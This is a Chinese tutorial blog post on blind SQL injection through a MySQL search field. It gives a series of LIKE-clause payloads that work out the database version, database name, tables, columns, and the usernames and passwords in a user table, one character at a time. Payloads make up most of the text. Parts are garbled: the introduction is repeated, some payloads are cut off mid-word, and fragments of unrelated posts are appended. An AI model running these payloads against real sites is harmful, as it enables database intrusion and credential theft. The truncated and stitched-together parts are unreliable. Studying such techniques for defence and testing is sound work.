mysql搜尋型注入

2021-10-17 16:26:01 字數 3256 閱讀 4882

摘要

先來說一點基礎的東西。 php中和mysql 的一點基本的知識。大鳥飛過了

left() 從左向右擷取

length()函式是計算括號中資料的長度,回顯為純數字,可以用大於小於和等於號來判斷是否正確

substr(要擷取的字串, 開始位置 ,擷取長度)

mid(列名,n,1)來擷取列名的第n位字元

ord(str)

如果字串str最左面字元是乙個多位元組字元,通過以格式((first byte ascii code)*256+(second byte ascii code))[*256+third byte ascii code…] 返回字元的ascii**值來返回多位元組字元**。如果最左面的字元不是乙個多位元組字元。返回與ascii()函式返回的相同值。

比如select ord(』2′) 返回的是 50,而2的ascii正好是50

到乙個搜尋型注入點,

先來說一點基礎的東西。

php中和

通過報錯是mysql的資料庫,所以直接開始準備檢視mysql的資料版本了

1.判斷版本

left() 從左向右擷取

%'and(select left(version(),1)>4) and '%'='true 返回正常

%'and(select left(version(),1)>6) and '%'='false 返回異常

%'and(select left(version(),1)=5) and '%'='true 返回正常

正常的select version() 顯示的是 5.5.8-log 從左往右擷取 就是意味著執行的是 left(5.5.8-log,1)擷取的第一位是5

2.猜測資料庫長度

%'and(select length(database())>1) and '%'=' true

%'and(select length(database())>10) and '%'='false

%'and(select length(database())=4) and '%'='true

length()函式是計算括號中資料的長度,回顯為純數字,可以用大於小於和等於號來判斷是否正確。經典的折半法

3.猜解資料庫名字

left()從左向右擷取 注意觀察left()函式中的數字變化

%'and(select left(database(),1))>'1' and '%'='

%'and(select left(database(),1))>'1' and '%'='

%'and(select left(database(),1))='p' and '%'=' p

%'and(select left(database(),2))='ph' and '%'='ph

%'and(select left(database(),3))='php' and '%'=' php

%'and(select left(database(),4))='phpx' and '%'='

最後猜解出來是phpx

5.猜測表名

%' and (select length(group_co

%' and (select ord(mid(group_co

返回表名的第乙個ascii值

6.猜測字段

%'and(select count(username)from user)>0 and '%'='

%'and(select count(password)from user)>0 and '%'='

7.猜測user表中的總數

%'and(select count(*)from user)>2 and '%'='false

%'and(select count(*)from user)>1 and '%'='true

%'and(select count(*)from user)=2 and '%'='有兩個 密碼一樣的方法

8.判斷username長度

%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>0 and '%'=' true

%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>9 and '%'=' true

%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>10 and '%'='false

%'and (select (select length(username) from user limit 0,1) from user limit 0,1)=10 and '%'='true 第一位username是10位

%'and (select (select length(username) from user limit 1,1) from user limit 1,1)>0 and '%'=' true  第二位同是10為

9.猜解username的值

%'and (select ord(mid(username,1,1)) from user limit 0,1)>121 and '%'='

%'and (select ord(mid(username,2,1)) from user limit 0,1)>121 and '%'='

%'and (select ord(mid(username,3,1)) from user limit 0,1)>121 and '%'='

這裡得利用<>來不斷的縮小範圍,不然很苦逼

10,猜解密碼的長度和內容,和username是一樣的

11.猜測本表以外的字段

select length((select+table_name+from+information_schema.tables+limit+0,1))<100

select length((select+table_name+from+information_schema.tables+limit+0,1))=14

12最後剩下的要說的就是ascii函式和hex函式了

這兩個函式的意義是避開php的gpc轉義,例如:

selectsubstr(left((select user from ebt_user),1),1,1)=char(48)

%'and(select left(version(),1)=5) and '%'='

總的來說,盲注理解起來其實非常簡單,就是做起來非常費勁

參考:

SQL注入 搜尋型注入

語句如下 select from database.table where users like 要查詢的關鍵字 這裡 匹配任何字元,like 的意思就是像。比如我們在搜尋框輸入關鍵字 李 那麼sql語句就變成了select from database.table where users like ...

Pikachu搜尋型注入

pikachu搜尋型注入 一樣先看一下正確的顯示 輸入ko 會自動搜尋包含 ko的字段顯示出來 因為會自動匹配到username,所以可以聯想到這段語句使用了mysql的模糊查詢。條件大致為 where username like ko 一樣嘗試閉合然後再注釋看是否能正常返回 回顯正常,接下來應該就...

mysql報錯型注入

mysql bug 8652 group by 對一些rand 函式進行操作時會返回duplicate key 錯誤,而這個錯誤將會披露關鍵資訊 duplicate entry for key1 這裡的 正是使用者輸入的希望查詢的內容 而該bug產生的主要原因就是 在rand 和group by同時...